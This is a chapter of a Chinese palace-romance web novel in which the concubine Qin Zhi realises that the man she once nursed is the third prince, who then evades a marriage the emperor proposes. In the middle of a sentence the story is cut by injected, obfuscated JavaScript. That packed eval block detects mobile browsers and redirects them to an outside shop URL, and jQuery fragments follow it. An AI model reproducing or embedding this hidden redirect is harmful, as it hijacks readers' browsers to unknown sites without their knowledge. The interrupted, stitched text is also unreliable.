三皇子缺席几乎大半场宫宴,众人只知他被陛下指派去办事,却无人知晓究竟是何事。
看太子那郁郁寡欢的模样,难道今日之后,朝中风向又将大变?
在场大多人心中都暗自谋划掂量着。
大殿安静下来。
只听得脚步声传来,不疾不徐,离秦芝越来越近。
秦芝虽然品级低,但作为皇嗣的长辈,也就是庶母,无须向三皇子行礼。
她静坐在蒲团上,盯着刚端上来的梅花糕饼入神。
衣料掠过地面的簌簌声也渐渐靠近,一抹绛红黑色的衣袍出现在秦芝的余光中。
眼前人的云纹锦靴在经行秦芝的食案时,微不可察地停留一瞬,又踱步前行。
身旁苏嫣激动地向前探。
顷刻,三皇子的脚步声终于停下。
“父皇、母后,恕儿臣来迟。”如清泉击石般的温雅声线。
这声音?
秦芝顿生一种强烈的熟悉感。
她猛得抬头,却只能看到一个遥远的背影。
远,却眼熟。
秦芝桃花眸微睁,望着那个正在行礼的矜贵身影。
或许只是背影相像,秦芝心中默念。
“煜儿,无妨,入座吧。”皇帝慈爱笑着。
下一瞬,三皇子转过身来,不知是无心还是有意,正好与紧盯着他的秦芝对视上,微勾唇角,带着戏谑,而后立刻移开目光。
这一个对视,如同一道闪电劈中秦芝。
此人,正是“江聿之”。
不,应当称呼他为三皇子——宋煜。
那人难道不是身世可怜的东厂督公,怎么会是金尊玉贵的三皇子?
秦芝自嘲一笑。
是她自以为是,那人从未说过自己是东厂的人,更未说过他身世可怜。
她自顾自地称呼对方为厂公,体贴地说帮他看病,在他看来,自己怕不是个愚蠢至极的笑话。
秦芝咬着下唇,紧紧皱眉,回想着先前与他相处的一幕幕,只觉悔不当初。
“我怎么觉得三皇子朝咱们这里看了一眼?”平东侯家的小姐问道。
“那自然是看汝国公那位苏小姐。”有人回答。
苏嫣整个人透露着一种愉悦的心情。
“令姝,你觉得我这三哥如何?”一旁宋昭好奇问道。
“什么…哦,气度不凡。”秦芝结巴答道。
“你不觉得我三哥俊美非常么,很多见过他的公侯小姐都这般认为,虽然我不觉得。”宋昭苦恼道。
“啊?”听到宋昭问话内容后,秦芝下意识看向紧靠太子坐席的三皇子。
的确,狭长飞扬的凤眼,永远含着一抹似有若无的笑意,高挺笔直的鼻梁,殷红的薄唇,轮廓分明的侧脸,任谁都要说一声俊美无俦。
可是,这脸,秦芝也太熟悉了。
而被注视的当事人——宋煜,此刻正在与太子对话。
“三弟今晚很是忙碌。”太子宋炯咬牙切齿。
“弟弟今日来迟,自是要向大哥自罚一杯。”宋煜举起酒樽一饮而尽。
“呵。”宋炯不想再看到这张假惺惺的脸,冷哼一声转过头。
宋煜轻笑,拿起玉筷准备夹菜,却感到一个灼灼目光从下方递来,转头看去。
而无意识盯着宋煜看的秦芝发现自己视线引起了对方注意,大惊失色。
她移开视线,装作凝视面前的碗筷。
但对方的视线如有实质般沉沉落在自己身上,长久不移,只好无奈再度抬头。
只见宋煜似笑非笑地望着自己,幽深如许,意味深长。
秦芝只好抿嘴,露出假笑应付对方,祈求对方移开目光,避免给自己招来灾祸。
看到秦芝的模样,宋煜失笑,遂移开眼眸,与身旁的另一位皇子交谈起来。
“令姝,我先回席了。”宋昭对秦芝低声道。
宋昭刚离开,一旁的苏嫣靠近秦芝,笑道:“原来秦才人便是公主的救命恩人,是我有眼不识泰山。”
秦芝礼貌性笑笑,苏嫣自觉无趣,头一撇便加入身旁人对话。
此时,龙椅上的皇帝轻咳两声,大殿迅速静寂下来。
皇帝开口道:“汝国公家的嫡长女现下在何处?”
身侧的苏嫣款款站起,离开坐席,走到大殿中央,跪下行礼道:“臣女便是汝国公府的苏嫣。”
“端庄娴雅,落落大方,汝国公夫妇,你们养了个好女儿啊。”皇帝笑道。
另一边坐席的汝国公夫妇连忙离开坐席,汝国公行礼道:“陛下谬赞,小女顽劣不堪,还请陛下见谅。。”
皇帝:“不知苏小姐是否已经许配人家?”
汝国公道:“陛下,臣夫妇想着多留小女在家几年,所以尚未定下婚约。”
皇帝满意点头:“朕一样也不舍得成罗公主早早出嫁,自是要如珍宝一样的多留几年。”
汝国公低头拱手:“小女怎能和金枝玉叶的公主相提并论。”
“不过,朕看来,现下倒是有一桩极好的姻亲,”皇帝一顿,道:“我这第三子,汝国公以为如何?”
皇帝说完后,苏嫣眼角眉梢挂上喜色,偷偷看向坐席上的三皇子。
而三皇子宋煜此时正低头弄茶,噙着笑意,未看向任何一个人。
汝国公跪下,诚惶诚恐道:“三皇子龙章凤姿,臣自是不敢妄评。”
“那我这三儿子,若做你苏家女婿,怎样?”皇帝似真似假地问。
“臣岂敢让三皇子殿下做女婿,若小女若得以高攀三皇子,就算做侍妾,亦是我苏家之大幸。”
“哈哈,”皇帝笑道,“煜儿,你有何想法?”
皇帝嘴上问着,却已经一副言之凿凿的姿态。
想来也是,皇帝的意思昭然若揭,圣意已定,又有谁会反对。
秦芝吃着果子看戏,恐怕今晚的一切都在为这一刻而准备。
所有人的目光集中在三皇子一人身上。
宋煜轻置碧色茶盏,徐徐起身,蟒纹绛袍随之摇曳,广袖垂落,举手投足雍容矜贵。
他缓步绕过食案,走向大殿中央,从容行礼。
“苏小姐自然端雅大方,才貌双全。”宋煜缓道。
苏嫣听闻后,眉眼喜意尤甚。
“只是儿臣现如今年纪尚轻,德行浅薄,还需历练,且朝堂事务繁忙,怕会委屈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712999|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏小姐,儿臣现下只想尽心辅佐父皇与太子大哥。”
宋煜说完后,殿内听不到一丝声响,人人屏住呼吸,静观其变。
三皇子这遭,竟是直接拒绝圣上赐婚。
果然,皇帝脸色变得有些难看:“你既已加冠,便不算年纪还小,娶个妻也能让你稳重些。”
宋煜微微一笑,并未反驳,而是继续道:“若能娶得苏小姐,自是儿臣的福分,只不过…”宋煜一顿,“儿臣前些日子伤重难愈,身子骨实在弱,不想耽误苏小姐一生。”
“咳咳。”宋煜装模作样地咳了几声。
众人都轻轻抽气,为探得皇家阴私而兴奋不已。
前些日子,三皇子宋煜被刺杀受伤的消息小范围的传播开来,传言说是太子谋杀三皇子,但消息很快就被镇压。
皇室互斗,兄弟阋墙的故事,任谁都想当面窥探一二。
“煜儿,你——”皇帝皱眉,刚想发怒,却又想起谋杀的始作俑者,只好作罢。
宋煜又拱手行礼:“汝国公于社稷有功,不若封苏小姐为郡主,既可嘉奖国公忠臣之行,亦可赞苏小姐为名门闺秀之表率。”
眼看着苏嫣脸色难看至极,被这般当众拒绝,怕是千娇万宠的苏小姐从未经历之事。
皇帝脸色也不如先前和善,但依旧深思熟虑后道:“既然如此,那就封汝国公府嫡长女为嘉宁郡主,至于你们两个的婚事,容后再议,你总不能一辈子不娶亲,有个人照顾你起居,也利于你恢复身体。”
皇帝还未断了赐婚苏嫣和宋煜的心思。
“谢陛下!”汝国公恭恭敬敬道,而后看面露不忿的女儿苏嫣一眼,苏嫣才不情不愿同父亲一起退回坐席。
宋煜仍跪在大殿中央的龙纹黑砖之上。
皇帝看到这个宋煜就气不打一处来,语气中带着呵斥道:“你怎么不退下?”
宋煜不疾不徐道:“儿臣有要事奏明。”
皇帝皱眉:“今日宫宴,明日再奏。”
“此事有关今日父皇委以儿臣所办之事,事关紧急。”
闻言,皇帝正色,唤宋煜上前来报。
宋煜缓慢走上台阶,走向皇帝身侧,俯下身子,凑在皇帝耳旁上说着什么,除父子二人外无人知晓。
殿中众人虽已经言笑晏晏,却眼观鼻鼻观心地留心于龙椅旁的父子二人,和阶下太子。
秦芝注意到,太子自顾自地闷头喝酒,不时瞥一眼皇帝与宋煜。
眼看着宋煜奏报完要事,皇帝龙颜大悦,看向宋煜的眼神也不再是方才的叱责。
所有人都在好奇,宋煜究竟告知皇帝什么。
宋煜轻拢宽袖,缓步走下台阶,回到自己的坐席,步态雍雅。
苏嫣通身的怨气,几乎都已经传递到秦芝食案上。
秦芝挑眉轻叹,宋煜害人不浅。
自己真是救了尊大佛,原以为最多是个世家公子,却没想到是天潢贵胄。
今后那人的事,自己最好少招惹。
不知为何,秦芝内心浮现出幽微难明的情绪,扰得她心浮气躁。
她拿起酒壶,给自己斟上满满一盏梅花清酒,大口吞下,才可压一下这乱七八糟的思绪。